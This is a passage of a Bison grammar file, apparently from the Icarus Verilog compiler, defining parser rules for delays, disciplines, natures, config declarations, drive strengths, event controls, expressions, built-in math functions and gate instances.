}
| '#' '(' delay_value ',' delay_value ',' delay_value ')'
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($3);
tmp->push_back($5);
tmp->push_back($7);
$$ = tmp;
}
;
delay3_opt
: delay3 { $$ = $1; }
| { $$ = 0; }
;
delay_value_list
: delay_value
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($1);
$$ = tmp;
}
| delay_value_list ',' delay_value
{ list<PExpr*>*tmp = $1;
tmp->push_back($3);
$$ = tmp;
}
;
delay_value
: expression
{ PExpr*tmp = $1;
$$ = tmp;
}
| expression ':' expression ':' expression
{ $$ = pform_select_mtm_expr($1, $3, $5); }
;
delay_value_simple
: DEC_NUMBER
{ verinum*tmp = $1;
if (tmp == 0) {
yyerror(@1, "internal error: delay.");
$$ = 0;
} else {
$$ = new PENumber(tmp);
FILE_NAME($$, @1);
}
based_size = 0;
}
| REALTIME
{ verireal*tmp = $1;
if (tmp == 0) {
yyerror(@1, "internal error: delay.");
$$ = 0;
} else {
$$ = new PEFNumber(tmp);
FILE_NAME($$, @1);
}
}
| IDENTIFIER
{ PEIdent*tmp = new PEIdent(lex_strings.make($1));
FILE_NAME(tmp, @1);
$$ = tmp;
delete[]$1;
}
| TIME_LITERAL
{ int unit;
based_size = 0;
$$ = 0;
if ($1 == 0 || !get_time_unit($1, unit))
yyerror(@1, "internal error: delay.");
else {
double p = pow(10.0,
(double)(unit - pform_get_timeunit()));
double time = atof($1) * p;
verireal *v = new verireal(time);
$$ = new PEFNumber(v);
FILE_NAME($$, @1);
}
}
;
/* The discipline and nature declarations used to take no ';' after
the identifier. The 2.3 LRM adds the ';', but since there are
programs written to the 2.1 and 2.2 standard that don't, we
choose to make the ';' optional in this context. */
optional_semicolon : ';' | ;
discipline_declaration
: K_discipline IDENTIFIER optional_semicolon
{ pform_start_discipline($2); }
discipline_items K_enddiscipline
{ pform_end_discipline(@1); delete[] $2; }
;
discipline_items
: discipline_items discipline_item
| discipline_item
;
discipline_item
: K_domain K_discrete ';'
{ pform_discipline_domain(@1, IVL_DIS_DISCRETE); }
| K_domain K_continuous ';'
{ pform_discipline_domain(@1, IVL_DIS_CONTINUOUS); }
| K_potential IDENTIFIER ';'
{ pform_discipline_potential(@1, $2); delete[] $2; }
| K_flow IDENTIFIER ';'
{ pform_discipline_flow(@1, $2); delete[] $2; }
;
nature_declaration
: K_nature IDENTIFIER optional_semicolon
{ pform_start_nature($2); }
nature_items
K_endnature
{ pform_end_nature(@1); delete[] $2; }
;
nature_items
: nature_items nature_item
| nature_item
;
nature_item
: K_units '=' STRING ';'
{ delete[] $3; }
| K_abstol '=' expression ';'
| K_access '=' IDENTIFIER ';'
{ pform_nature_access(@1, $3); delete[] $3; }
| K_idt_nature '=' IDENTIFIER ';'
{ delete[] $3; }
| K_ddt_nature '=' IDENTIFIER ';'
{ delete[] $3; }
;
config_declaration
: K_config IDENTIFIER ';'
K_design lib_cell_identifiers ';'
list_of_config_rule_statements
K_endconfig
{ cerr << @1 << ": sorry: config declarations are not supported and "
"will be skipped." << endl;
delete[] $2;
}
;
lib_cell_identifiers
: /* The BNF implies this can be blank, but I'm not sure exactly what
* this means. */
| lib_cell_identifiers lib_cell_id
;
list_of_config_rule_statements
: /* config rules are optional. */
| list_of_config_rule_statements config_rule_statement
;
config_rule_statement
: K_default K_liblist list_of_libraries ';'
| K_instance hierarchy_identifier K_liblist list_of_libraries ';'
{ delete $2; }
| K_instance hierarchy_identifier K_use lib_cell_id opt_config ';'
{ delete $2; }
| K_cell lib_cell_id K_liblist list_of_libraries ';'
| K_cell lib_cell_id K_use lib_cell_id opt_config ';'
;
opt_config
: /* The use clause takes an optional :config. */
| ':' K_config
;
lib_cell_id
: IDENTIFIER
{ delete[] $1; }
| IDENTIFIER '.' IDENTIFIER
{ delete[] $1; delete[] $3; }
;
list_of_libraries
: /* A NULL library means use the parents cell library. */
| list_of_libraries IDENTIFIER
{ delete[] $2; }
;
drive_strength
: '(' dr_strength0 ',' dr_strength1 ')'
{ $$.str0 = $2.str0;
$$.str1 = $4.str1;
}
| '(' dr_strength1 ',' dr_strength0 ')'
{ $$.str0 = $4.str0;
$$.str1 = $2.str1;
}
| '(' dr_strength0 ',' K_highz1 ')'
{ $$.str0 = $2.str0;
$$.str1 = IVL_DR_HiZ;
}
| '(' dr_strength1 ',' K_highz0 ')'
{ $$.str0 = IVL_DR_HiZ;
$$.str1 = $2.str1;
}
| '(' K_highz1 ',' dr_strength0 ')'
{ $$.str0 = $4.str0;
$$.str1 = IVL_DR_HiZ;
}
| '(' K_highz0 ',' dr_strength1 ')'
{ $$.str0 = IVL_DR_HiZ;
$$.str1 = $4.str1;
}
;
drive_strength_opt
: drive_strength { $$ = $1; }
| { $$.str0 = IVL_DR_STRONG; $$.str1 = IVL_DR_STRONG; }
;
dr_strength0
: K_supply0 { $$.str0 = IVL_DR_SUPPLY; }
| K_strong0 { $$.str0 = IVL_DR_STRONG; }
| K_pull0 { $$.str0 = IVL_DR_PULL; }
| K_weak0 { $$.str0 = IVL_DR_WEAK; }
;
dr_strength1
: K_supply1 { $$.str1 = IVL_DR_SUPPLY; }
| K_strong1 { $$.str1 = IVL_DR_STRONG; }
| K_pull1 { $$.str1 = IVL_DR_PULL; }
| K_weak1 { $$.str1 = IVL_DR_WEAK; }
;
clocking_event_opt /* */
: event_control
|
;
event_control /* A.K.A. clocking_event */
: '@' hierarchy_identifier
{ PEIdent*tmpi = new PEIdent(*$2);
PEEvent*tmpe = new PEEvent(PEEvent::ANYEDGE, tmpi);
PEventStatement*tmps = new PEventStatement(tmpe);
FILE_NAME(tmps, @1);
$$ = tmps;
delete $2;
}
| '@' '(' event_expression_list ')'
{ PEventStatement*tmp = new PEventStatement(*$3);
FILE_NAME(tmp, @1);
delete $3;
$$ = tmp;
}
| '@' '(' error ')'
{ yyerror(@1, "error: Malformed event control expression.");
$$ = 0;
}
;
event_expression_list
: event_expression
{ $$ = $1; }
| event_expression_list K_or event_expression
{ svector<PEEvent*>*tmp = new svector<PEEvent*>(*$1, *$3);
delete $1;
delete $3;
$$ = tmp;
}
| event_expression_list ',' event_expression
{ svector<PEEvent*>*tmp = new svector<PEEvent*>(*$1, *$3);
delete $1;
delete $3;
$$ = tmp;
}
;
event_expression
: K_posedge expression
{ PEEvent*tmp = new PEEvent(PEEvent::POSEDGE, $2);
FILE_NAME(tmp, @1);
svector<PEEvent*>*tl = new svector<PEEvent*>(1);
(*tl)[0] = tmp;
$$ = tl;
}
| K_negedge expression
{ PEEvent*tmp = new PEEvent(PEEvent::NEGEDGE, $2);
FILE_NAME(tmp, @1);
svector<PEEvent*>*tl = new svector<PEEvent*>(1);
(*tl)[0] = tmp;
$$ = tl;
}
| expression
{ PEEvent*tmp = new PEEvent(PEEvent::ANYEDGE, $1);
FILE_NAME(tmp, @1);
svector<PEEvent*>*tl = new svector<PEEvent*>(1);
(*tl)[0] = tmp;
$$ = tl;
}
;
/* A branch probe expression applies a probe function (potential or
flow) to a branch. The branch may be implicit as a pair of nets
or explicit as a named branch. Elaboration will check that the
function name really is a nature attribute identifier. */
branch_probe_expression
: IDENTIFIER '(' IDENTIFIER ',' IDENTIFIER ')'
{ $$ = pform_make_branch_probe_expression(@1, $1, $3, $5); }
| IDENTIFIER '(' IDENTIFIER ')'
{ $$ = pform_make_branch_probe_expression(@1, $1, $3); }
;
expression
: expr_primary_or_typename
{ $$ = $1; }
| inc_or_dec_expression
{ $$ = $1; }
| inside_expression
{ $$ = $1; }
| '+' attribute_list_opt expr_primary %prec UNARY_PREC
{ $$ = $3; }
| '-' attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('-', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| '~' attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('~', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| '&' attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('&', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| '!' attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('!', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| '|' attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('|', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| '^' attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('^', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| '~' '&' attribute_list_opt expr_primary %prec UNARY_PREC
{ yyerror(@1, "error: '~' '&' is not a valid expression. "
"Please use operator '~&' instead.");
$$ = 0;
}
| '~' '|' attribute_list_opt expr_primary %prec UNARY_PREC
{ yyerror(@1, "error: '~' '|' is not a valid expression. "
"Please use operator '~|' instead.");
$$ = 0;
}
| '~' '^' attribute_list_opt expr_primary %prec UNARY_PREC
{ yyerror(@1, "error: '~' '^' is not a valid expression. "
"Please use operator '~^' instead.");
$$ = 0;
}
| K_NAND attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('A', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| K_NOR attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('N', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| K_NXOR attribute_list_opt expr_primary %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('X', $3);
FILE_NAME(tmp, @3);
$$ = tmp;
}
| '!' error %prec UNARY_PREC
{ yyerror(@1, "error: Operand of unary ! "
"is not a primary expression.");
$$ = 0;
}
| '^' error %prec UNARY_PREC
{ yyerror(@1, "error: Operand of reduction ^ "
"is not a primary expression.");
$$ = 0;
}
| expression '^' attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('^', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_POW attribute_list_opt expression
{ PEBinary*tmp = new PEBPower('p', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '*' attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('*', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '/' attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('/', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '%' attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('%', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '+' attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('+', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '-' attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('-', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '&' attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('&', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '|' attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('|', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_NAND attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('A', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_NOR attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('O', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_NXOR attribute_list_opt expression
{ PEBinary*tmp = new PEBinary('X', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '<' attribute_list_opt expression
{ PEBinary*tmp = new PEBComp('<', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '>' attribute_list_opt expression
{ PEBinary*tmp = new PEBComp('>', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_LS attribute_list_opt expression
{ PEBinary*tmp = new PEBShift('l', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_RS attribute_list_opt expression
{ PEBinary*tmp = new PEBShift('r', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_RSS attribute_list_opt expression
{ PEBinary*tmp = new PEBShift('R', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_EQ attribute_list_opt expression
{ PEBinary*tmp = new PEBComp('e', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_CEQ attribute_list_opt expression
{ PEBinary*tmp = new PEBComp('E', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_LE attribute_list_opt expression
{ PEBinary*tmp = new PEBComp('L', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_GE attribute_list_opt expression
{ PEBinary*tmp = new PEBComp('G', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_NE attribute_list_opt expression
{ PEBinary*tmp = new PEBComp('n', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_CNE attribute_list_opt expression
{ PEBinary*tmp = new PEBComp('N', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_LOR attribute_list_opt expression
{ PEBinary*tmp = new PEBLogic('o', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression K_LAND attribute_list_opt expression
{ PEBinary*tmp = new PEBLogic('a', $1, $4);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| expression '?' attribute_list_opt expression ':' expression
{ PETernary*tmp = new PETernary($1, $4, $6);
FILE_NAME(tmp, @2);
$$ = tmp;
}
;
expr_mintypmax
: expression
{ $$ = $1; }
| expression ':' expression ':' expression
{ switch (min_typ_max_flag) {
case MIN:
$$ = $1;
delete $3;
delete $5;
break;
case TYP:
delete $1;
$$ = $3;
delete $5;
break;
case MAX:
delete $1;
delete $3;
$$ = $5;
break;
}
if (min_typ_max_warn > 0) {
cerr << $$->get_fileline() << ": warning: choosing ";
switch (min_typ_max_flag) {
case MIN:
cerr << "min";
break;
case TYP:
cerr << "typ";
break;
case MAX:
cerr << "max";
break;
}
cerr << " expression." << endl;
min_typ_max_warn -= 1;
}
}
;
/* Many contexts take a comma separated list of expressions. Null
expressions can happen anywhere in the list, so there are two
extra rules in expression_list_with_nuls for parsing and
installing those nulls.
The expression_list_proper rules do not allow null items in the
expression list, so can be used where nul expressions are not allowed. */
expression_list_with_nuls
: expression_list_with_nuls ',' expression
{ list<PExpr*>*tmp = $1;
tmp->push_back($3);
$$ = tmp;
}
| expression
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($1);
$$ = tmp;
}
|
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back(0);
$$ = tmp;
}
| expression_list_with_nuls ','
{ list<PExpr*>*tmp = $1;
tmp->push_back(0);
$$ = tmp;
}
;
expression_list_proper
: expression_list_proper ',' expression
{ list<PExpr*>*tmp = $1;
tmp->push_back($3);
$$ = tmp;
}
| expression
{ list<PExpr*>*tmp = new list<PExpr*>;
tmp->push_back($1);
$$ = tmp;
}
;
expr_primary_or_typename
: expr_primary
/* There are a few special cases (notably $bits argument) where the
expression may be a type name. Let the elaborator sort this out. */
| TYPE_IDENTIFIER
{ PETypename*tmp = new PETypename($1.type);
FILE_NAME(tmp,@1);
$$ = tmp;
delete[]$1.text;
}
;
expr_primary
: number
{ assert($1);
PENumber*tmp = new PENumber($1);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| REALTIME
{ PEFNumber*tmp = new PEFNumber($1);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| STRING
{ PEString*tmp = new PEString($1);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| TIME_LITERAL
{ int unit;
based_size = 0;
$$ = 0;
if ($1 == 0 || !get_time_unit($1, unit))
yyerror(@1, "internal error: delay.");
else {
double p = pow(10.0, (double)(unit - pform_get_timeunit()));
double time = atof($1) * p;
verireal *v = new verireal(time);
$$ = new PEFNumber(v);
FILE_NAME($$, @1);
}
}
| SYSTEM_IDENTIFIER
{ perm_string tn = lex_strings.make($1);
PECallFunction*tmp = new PECallFunction(tn);
FILE_NAME(tmp, @1);
$$ = tmp;
delete[]$1;
}
/* The hierarchy_identifier rule matches simple identifiers as well as
indexed arrays and part selects */
| hierarchy_identifier
{ PEIdent*tmp = pform_new_ident(*$1);
FILE_NAME(tmp, @1);
$$ = tmp;
delete $1;
}
| PACKAGE_IDENTIFIER K_SCOPE_RES hierarchy_identifier
{ $$ = pform_package_ident(@2, $1, $3);
delete $3;
}
/* An identifier followed by an expression list in parentheses is a
function call. If a system identifier, then a system function
call. It can also be a call to a class method (function). */
| hierarchy_identifier '(' expression_list_with_nuls ')'
{ list<PExpr*>*expr_list = $3;
strip_tail_items(expr_list);
PECallFunction*tmp = pform_make_call_function(@1, *$1, *expr_list);
delete $1;
$$ = tmp;
}
| implicit_class_handle '.' hierarchy_identifier '(' expression_list_with_nuls ')'
{ pform_name_t*t_name = $1;
while (! $3->empty()) {
t_name->push_back($3->front());
$3->pop_front();
}
list<PExpr*>*expr_list = $5;
strip_tail_items(expr_list);
PECallFunction*tmp = pform_make_call_function(@1, *t_name, *expr_list);
delete $1;
delete $3;
$$ = tmp;
}
| SYSTEM_IDENTIFIER '(' expression_list_proper ')'
{ perm_string tn = lex_strings.make($1);
PECallFunction*tmp = new PECallFunction(tn, *$3);
FILE_NAME(tmp, @1);
delete[]$1;
$$ = tmp;
}
| PACKAGE_IDENTIFIER K_SCOPE_RES IDENTIFIER '(' expression_list_proper ')'
{ perm_string use_name = lex_strings.make($3);
PECallFunction*tmp = new PECallFunction($1, use_name, *$5);
FILE_NAME(tmp, @3);
delete[]$3;
$$ = tmp;
}
| SYSTEM_IDENTIFIER '(' ')'
{ perm_string tn = lex_strings.make($1);
const vector<PExpr*>empty;
PECallFunction*tmp = new PECallFunction(tn, empty);
FILE_NAME(tmp, @1);
delete[]$1;
$$ = tmp;
if (!gn_system_verilog()) {
yyerror(@1, "error: Empty function argument list requires SystemVerilog.");
}
}
| implicit_class_handle
{ PEIdent*tmp = new PEIdent(*$1);
FILE_NAME(tmp,@1);
delete $1;
$$ = tmp;
}
| implicit_class_handle '.' hierarchy_identifier
{ pform_name_t*t_name = $1;
while (! $3->empty()) {
t_name->push_back($3->front());
$3->pop_front();
}
PEIdent*tmp = new PEIdent(*t_name);
FILE_NAME(tmp,@1);
delete $1;
delete $3;
$$ = tmp;
}
/* Many of the VAMS built-in functions are available as builtin
functions with $system_function equivalents. */
| K_acos '(' expression ')'
{ perm_string tn = perm_string::literal("$acos");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_acosh '(' expression ')'
{ perm_string tn = perm_string::literal("$acosh");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_asin '(' expression ')'
{ perm_string tn = perm_string::literal("$asin");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_asinh '(' expression ')'
{ perm_string tn = perm_string::literal("$asinh");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_atan '(' expression ')'
{ perm_string tn = perm_string::literal("$atan");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_atanh '(' expression ')'
{ perm_string tn = perm_string::literal("$atanh");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_atan2 '(' expression ',' expression ')'
{ perm_string tn = perm_string::literal("$atan2");
PECallFunction*tmp = make_call_function(tn, $3, $5);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_ceil '(' expression ')'
{ perm_string tn = perm_string::literal("$ceil");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_cos '(' expression ')'
{ perm_string tn = perm_string::literal("$cos");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_cosh '(' expression ')'
{ perm_string tn = perm_string::literal("$cosh");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_exp '(' expression ')'
{ perm_string tn = perm_string::literal("$exp");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_floor '(' expression ')'
{ perm_string tn = perm_string::literal("$floor");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_hypot '(' expression ',' expression ')'
{ perm_string tn = perm_string::literal("$hypot");
PECallFunction*tmp = make_call_function(tn, $3, $5);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_ln '(' expression ')'
{ perm_string tn = perm_string::literal("$ln");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_log '(' expression ')'
{ perm_string tn = perm_string::literal("$log10");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_pow '(' expression ',' expression ')'
{ perm_string tn = perm_string::literal("$pow");
PECallFunction*tmp = make_call_function(tn, $3, $5);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_sin '(' expression ')'
{ perm_string tn = perm_string::literal("$sin");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_sinh '(' expression ')'
{ perm_string tn = perm_string::literal("$sinh");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_sqrt '(' expression ')'
{ perm_string tn = perm_string::literal("$sqrt");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_tan '(' expression ')'
{ perm_string tn = perm_string::literal("$tan");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_tanh '(' expression ')'
{ perm_string tn = perm_string::literal("$tanh");
PECallFunction*tmp = make_call_function(tn, $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
/* These mathematical functions are conveniently expressed as unary
and binary expressions. They behave much like unary/binary
operators, even though they are parsed as functions. */
| K_abs '(' expression ')'
{ PEUnary*tmp = new PEUnary('m', $3);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_max '(' expression ',' expression ')'
{ PEBinary*tmp = new PEBinary('M', $3, $5);
FILE_NAME(tmp,@1);
$$ = tmp;
}
| K_min '(' expression ',' expression ')'
{ PEBinary*tmp = new PEBinary('m', $3, $5);
FILE_NAME(tmp,@1);
$$ = tmp;
}
/* Parenthesized expressions are primaries. */
| '(' expr_mintypmax ')'
{ $$ = $2; }
/* Various kinds of concatenation expressions. */
| '{' expression_list_proper '}'
{ PEConcat*tmp = new PEConcat(*$2);
FILE_NAME(tmp, @1);
delete $2;
$$ = tmp;
}
| '{' expression '{' expression_list_proper '}' '}'
{ PExpr*rep = $2;
PEConcat*tmp = new PEConcat(*$4, rep);
FILE_NAME(tmp, @1);
delete $4;
$$ = tmp;
}
| '{' expression '{' expression_list_proper '}' error '}'
{ PExpr*rep = $2;
PEConcat*tmp = new PEConcat(*$4, rep);
FILE_NAME(tmp, @1);
delete $4;
$$ = tmp;
yyerror(@5, "error: Syntax error between internal '}' "
"and closing '}' of repeat concatenation.");
yyerrok;
}
| '{' '}'
{ // This is the empty queue syntax.
if (gn_system_verilog()) {
list<PExpr*> empty_list;
PEConcat*tmp = new PEConcat(empty_list);
FILE_NAME(tmp, @1);
$$ = tmp;
} else {
yyerror(@1, "error: Concatenations are not allowed to be empty.");
$$ = 0;
}
}
/* Cast expressions are primaries */
| expr_primary '\'' '(' expression ')'
{ PExpr*base = $4;
if (gn_system_verilog()) {
PECastSize*tmp = new PECastSize($1, base);
FILE_NAME(tmp, @1);
$$ = tmp;
} else {
yyerror(@1, "error: Size cast requires SystemVerilog.");
$$ = base;
}
}
| data_type '\'' '(' expression ')'
{ PExpr*base = $4;
if (gn_system_verilog()) {
PECastType*tmp = new PECastType($1, base);
FILE_NAME(tmp, @1);
$$ = tmp;
} else {
yyerror(@1, "error: Type cast requires SystemVerilog.");
$$ = base;
}
}
/* Aggregate literals are primaries. */
| assignment_pattern
{ $$ = $1; }
/* SystemVerilog supports streaming concatenation */
| streaming_concatenation
{ $$ = $1; }
| K_null
{ PENull*tmp = new PENull;
FILE_NAME(tmp, @1);
$$ = tmp;
}
;
/* A function_item_list borrows the task_port_item run to match
declarations of ports. We check later to make sure there are no
output or inout ports actually used.
The function_item is the same as tf_item_declaration. */
function_item_list_opt
: function_item_list { $$ = $1; }
| { $$ = 0; }
;
function_item_list
: function_item
{ $$ = $1; }
| function_item_list function_item
{ /* */
if ($1 && $2) {
vector<pform_tf_port_t>*tmp = $1;
size_t s1 = tmp->size();
tmp->resize(s1 + $2->size());
for (size_t idx = 0 ; idx < $2->size() ; idx += 1)
tmp->at(s1+idx) = $2->at(idx);
delete $2;
$$ = tmp;
} else if ($1) {
$$ = $1;
} else {
$$ = $2;
}
}
;
function_item
: tf_port_declaration
{ $$ = $1; }
| block_item_decl
{ $$ = 0; }
;
/* A gate_instance is a module instantiation or a built in part
type. In any case, the gate has a set of connections to ports. */
gate_instance
: IDENTIFIER '(' expression_list_with_nuls ')'
{ lgate*tmp = new lgate;
tmp->name = $1;
tmp->parms = $3;
tmp->file = @1.text;
tmp->lineno = @1.first_line;
delete[]$1;
$$ = tmp;
}
| IDENTIFIER dimensions '(' expression_list_with_nuls ')'
{ lgate*tmp = new lgate;
list<pform_range_t>*rng = $2;
tmp->name = $1;
tmp->parms = $4;
tmp->range = rng->front();
rng->pop_front();
assert(rng->empty());
tmp->file = @1.text;
tmp->lineno = @1.first_line;
delete[]$1;
delete rng;
$$ = tmp;
}
| '(' expression_list_with_nuls ')'
{ lgate*tmp = new lgate;
tmp->name = "";
tmp->parms = $2;
tmp->file = @1.text;
tmp->lineno = @1.first_line;
$$ = tmp;
}
/* Degenerate modules can have no ports. */
| IDENTIFIER dimensions
{ lgate*tmp = new lgate;
list<pform_range_t>*rng = $2;
tmp->name = $1;
tmp->parms = 0;
tmp->parms_by_name = 0;
tmp->range = rng->front();
rng->pop_front();
assert(rng->empty());
tmp->file = @1.text;
tmp->lineno = @1.first_line;
delete[]$1;
delete rng;
$$ = tmp;
}
/* Modules can also take ports by port-name expressions. */
| IDENTIFIER '(' port_name_list ')'
{ lgate*tmp = new lgate;
tmp->name = $1;
tmp->parms = 0;
tmp->parms_by_name = $3;
tmp->file = @1.text;
tmp->lineno = @1.first_line;
delete[]$1;
$$ = tmp;
}
| IDENTIFIER dimensions '(' port_name_list ')'
{ lgate*tmp = new lgate;
list<pform_range_t>*rng = $2;
tmp->name = $1;
tmp->parms = 0;
tmp->parms_by_name = $4;
tmp->range = rng->front();
rng->pop_front();
assert(rng->empty());
tmp->file = @1.text;
tmp->lineno = @1.first_line;
delete[]$1;
delete rng;
$$ = tmp;
}
| IDENTIFIER '(' error ')'
{ lgate*tmp = new lgate;
tmp->name = $1;
tmp->parms = 0;
tmp->parms_by_name = 0;
tmp->file = @1.text;
tmp->lineno = @1.first_line;
yyerror(@2, "error: Syntax error in instance port "
"expression(s).");
delete[]$1;
$$ = tmp;
}
| IDENTIFIER dimensions '(' error ')'
{ lgate*tmp = new lgate;
tmp->name = $1;
tmp->parms = 0;
tmp->parms_by_name = 0;
tmp->file = @1.text;
tmp->lineno = @1.first_line;
yyerror(@3, "error: Syntax error in instance port "
"expression(s).");
delete[]$1;
$$ = tmp;
}
;
gate_instance_list
: gate_instance_list ',' gate_instance
{ svector<lgate>*tmp1 = $1;
lgate*tmp2 = $3;
svector<lgate>*out = new svector<lgate> (*tmp1, *tmp2);
delete tmp1;
delete tmp2;
$$ = out;
}
| gate_instance
{ svector<lgate>*tmp = new svector<lgate>(1);
(*tmp)[0] = *$1;
delete $1;
$$ = tmp;
}
;
gatetype
: K_and { $$ = PGBuiltin::AND; }
| K_nand { $$ = PGBuiltin::NAND; }
| K_or { $$ = PGBuiltin::OR; }
| K_nor { $$ = PGBuiltin::NOR; }
| K_xor { $$ = PGBuiltin::XOR; }
| K_xnor { $$ = PGBuiltin::XNOR; }
| K_buf { $$ = PGBuiltin::BUF; }
| K_bufif0 { $$ = PGBuiltin::BUFIF0; }
| K_bufif1 { $$ = PGBuiltin::BUFIF1; }
| K_not { $$ = PGBuiltin::NOT; }
| K_notif0 { $$ = PGBuiltin::NOTIF0; }
| K_notif1 { $$ = PGBuiltin::NOTIF1; }
;
switchtype
: K_nmos { $$ = PGBuiltin::NMOS; }
| K_rnmos { $$ = PGBuiltin::RNMOS; }
| K_pmos { $$ = PGBuiltin::PMOS; }
| K_rpmos { $$ = PGBuiltin::RPMOS; }
| K_cmos { $$ = PGBuiltin::CMOS; }
| K_rcmos { $$ = PGBuiltin::RCMOS; }
| K_tran { $$ = PGBuiltin::TRAN; }
| K_rtran { $$ = PGBuiltin::RTRAN; }
| K_tranif0 { $$ = PGBuiltin::TRANIF0; }
| K_tranif1 { $$ = PGBuiltin::TRANIF1; }
| K_rtranif0 { $$ = PGBuiltin::RTRANIF0; }
| K_rtranif1 { $$ = PGBuiltin::RTRANIF1; }
;
/* A general identifier is a hierarchical name, with the right most
name the base of the identifier. This rule builds up a
hierarchical name from the left to the right, forming a list of
names. */
hierarchy_identifier
: IDENTIFIER
{ $$ = new pform_name_t;
$$->push_back(name_component_t(lex_strings.make($1)));
delete[]$1;
}
| hierarchy_identifier '.' IDENTIFIER
{ pform_name_t * tmp = $1;
